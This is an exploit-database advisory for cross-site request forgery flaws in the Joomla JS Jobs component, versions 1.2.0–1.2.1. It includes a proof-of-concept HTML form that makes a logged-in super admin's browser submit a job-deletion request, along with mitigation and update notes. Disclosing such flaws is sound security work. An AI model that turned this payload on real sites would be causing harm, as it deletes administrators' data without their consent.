Joomla! Component Js Jobs - Multiple Cross Site Request Forgery Vulnerabilities

vendor:

JS Jobs

by:

Sureshbabu Narvaneni

7.5

CVSS

HIGH

Cross Site Request Forgery

352

CWE

Product Name: JS Jobs

Affected Version From: 1.2.0

Affected Version To: 1.2.1

Patch Exists: YES

Related CWE: NA

CPE: a:joomsky:js_jobs

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Win7 Enterprise x86/Kali Linux 4.12 i686

2018

Joomla! Component Js Jobs – Multiple Cross Site Request Forgery Vulnerabilities

The state changing actions in JS Jobs before 1.2.1 not having any random token validation which results in Cross Site Request Forgery Vulnerability.

Mitigation:

Implement random token validation for state changing actions.

Source

Exploit-DB raw data:

#######################################
# Exploit Title: Joomla! Component Js Jobs - Multiple Cross Site Request Forgery Vulnerabilities
# Google Dork: N/A
# Date: 17-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: https://www.joomsky.com
# Software Link: https://extensions.joomla.org/extension/js-jobs/
# Affected Version: 1.2.0
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : NA
#######################################

1. Vendor Description:

JS Jobs for any business, industry body or staffing company wishing to
establish a presence on the internet. JS Jobs allows you to run your own,
unique jobs classifieds service where you or employer can advertise their
jobs and job seekers can upload their Resumes.

2. Technical Description:

The state changing actions in JS Jobs before 1.2.1 not having any random
token validation which results in Cross Site Request Forgery Vulnerability.

3. Proof of Concept:

Delete Job Entry [Super Admin Access]

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[URL]/joomla/administrator/index.php"
method="POST">
      <input type="hidden" name="js&#95;sortby" value="0" />
      <input type="hidden" name="companyname" value="" />
      <input type="hidden" name="jobtitle" value="" />
      <input type="hidden" name="location" value="" />
      <input type="hidden" name="jobcategory" value="" />
      <input type="hidden" name="jobtype" value="" />
      <input type="hidden" name="datefrom" value="" />
      <input type="hidden" name="dateto" value="" />
      <input type="hidden" name="status" value="" />
      <input type="hidden" name="cid&#91;&#93;" value="[Job ID]" />
      <input type="hidden" name="limit" value="20" />
      <input type="hidden" name="limitstart" value="0" />
      <input type="hidden" name="option" value="com&#95;jsjobs" />
      <input type="hidden" name="task" value="job&#46;jobenforcedelete" />
      <input type="hidden" name="c" value="job" />
      <input type="hidden" name="view" value="job" />
      <input type="hidden" name="layout" value="jobs" />
      <input type="hidden" name="callfrom" value="jobs" />
      <input type="hidden" name="boxchecked" value="1" />
      <input type="hidden" name="sortby" value="asc" />
      <input type="hidden" name="my&#95;click" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

4. Solution:

Update to latest version

https://extensions.joomla.org/extension/js-jobs/